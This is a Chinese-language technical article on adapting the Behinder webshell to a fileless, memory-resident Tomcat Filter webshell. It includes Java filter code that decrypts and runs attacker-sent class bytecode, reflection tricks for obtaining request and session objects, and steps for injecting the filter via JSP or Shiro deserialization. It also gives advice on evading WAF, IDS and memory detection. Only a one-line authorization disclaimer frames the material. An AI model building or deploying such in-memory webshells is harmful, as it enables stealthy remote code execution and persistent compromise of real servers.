冰蝎改造之适配基于tomcat Filter的无文件webshell
字数 1241 2025-08-20 18:18:23
冰蝎改造适配Tomcat Filter无文件WebShell技术文档
一、背景与概述
本文档详细介绍了如何改造冰蝎(Behinder)工具,使其适配基于Tomcat Filter的无文件WebShell实现。传统WebShell通常需要上传文件到服务器,而无文件WebShell通过内存驻留技术实现持久化,具有更强的隐蔽性和对抗性。
二、技术准备
2.1 所需依赖
创建Maven项目,需添加以下依赖:
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.json</groupId>
<artifactId>json</artifactId>
<version>20170516</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>asm</groupId>
<artifactId>asm-all</artifactId>
<version>3.3.1</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.31.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>7.0.25</version>
</dependency>
</dependencies>
2.2 冰蝎反编译
- 将冰蝎的jar包导入项目
- 使用IDEA反编译工具获取源代码
- 将反编译结果拷贝到项目中并做适当修改
- 冰蝎的主类位于
ui.Starter
三、技术原理分析
3.1 冰蝎工作原理
冰蝎通过以下机制实现WebShell功能:
- 上传class字节码到目标服务器
- 使用ClassLoader的defineClass方法将字节码转换为Class对象
- 实例化上传的类,通过equals方法传递PageContext
- 通过PageContext获取Request、Response、Session等对象
3.2 Filter内存马限制
传统Filter内存马与冰蝎的适配问题:
- Filter中只有Request和Response对象
- Session需要通过Request获取:
((HttpServletRequest)request).getSession() - 冰蝎payload依赖的三个关键对象:
- Request - 获取请求
- Response - 写入响应结果
- Session - 存放AES加密密钥
四、实现方案
4.1 方法一:反射获取Request对象
- 从ResponseFacade中反射获取内部Response对象:
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
org.apache.catalina.connector.Response resp = (Response) responseField.get((ResponseFacade) response);
- 从Response对象获取Request和Session:
ServletRequest request = resp.getRequest();
HttpSession session = resp.getRequest().getSession();
- Filter内存马核心代码:
try {
if (u != null) {
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
evilClass.newInstance().equal(response);
return;
}
} catch (Exception e) {
}
chain.doFilter(request, response);
注意:此方法在实际使用中可能会持续报错,需要进一步调试解决。
4.2 方法二:修改Payload入口点(推荐)
- 修改冰蝎payload,不再使用equals方法作为入口点
- 添加新方法作为入口:
public boolean fuck(ServletRequest request, ServletResponse response)
-
调整payload中所有对request、response和session的引用
-
Filter内存马实现:
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object a = evilClass.newInstance();
Method b = evilClass.getDeclaredMethod("fuck", ServletRequest.class, ServletResponse.class);
b.invoke(a, request, response);
return;
五、部署与测试
- 将生成的Filter通过JSP或Shiro反序列化漏洞加载到Tomcat系统
- 正常访问网站应显示正常页面
- 通过改造后的冰蝎客户端连接:
- URL可随意填写
- 连接成功后应能正常执行命令和管理
六、注意事项
- 此技术仅限安全研究和授权测试使用
- 实际应用中需要考虑对抗WAF和IDS的检测
- 内存驻留的稳定性需要进一步测试
- 建议对通信内容进行加密和混淆
七、扩展思考
- 可探索其他类型内存马的适配(如Servlet、Listener等)
- 考虑结合其他持久化技术增强隐蔽性
- 研究对抗内存检测的方法(如Java Agent检测)
- 优化通信协议减少特征
本技术文档提供了完整的技术实现路径,关键点均已涵盖,实际实施时需根据具体环境进行调整和优化。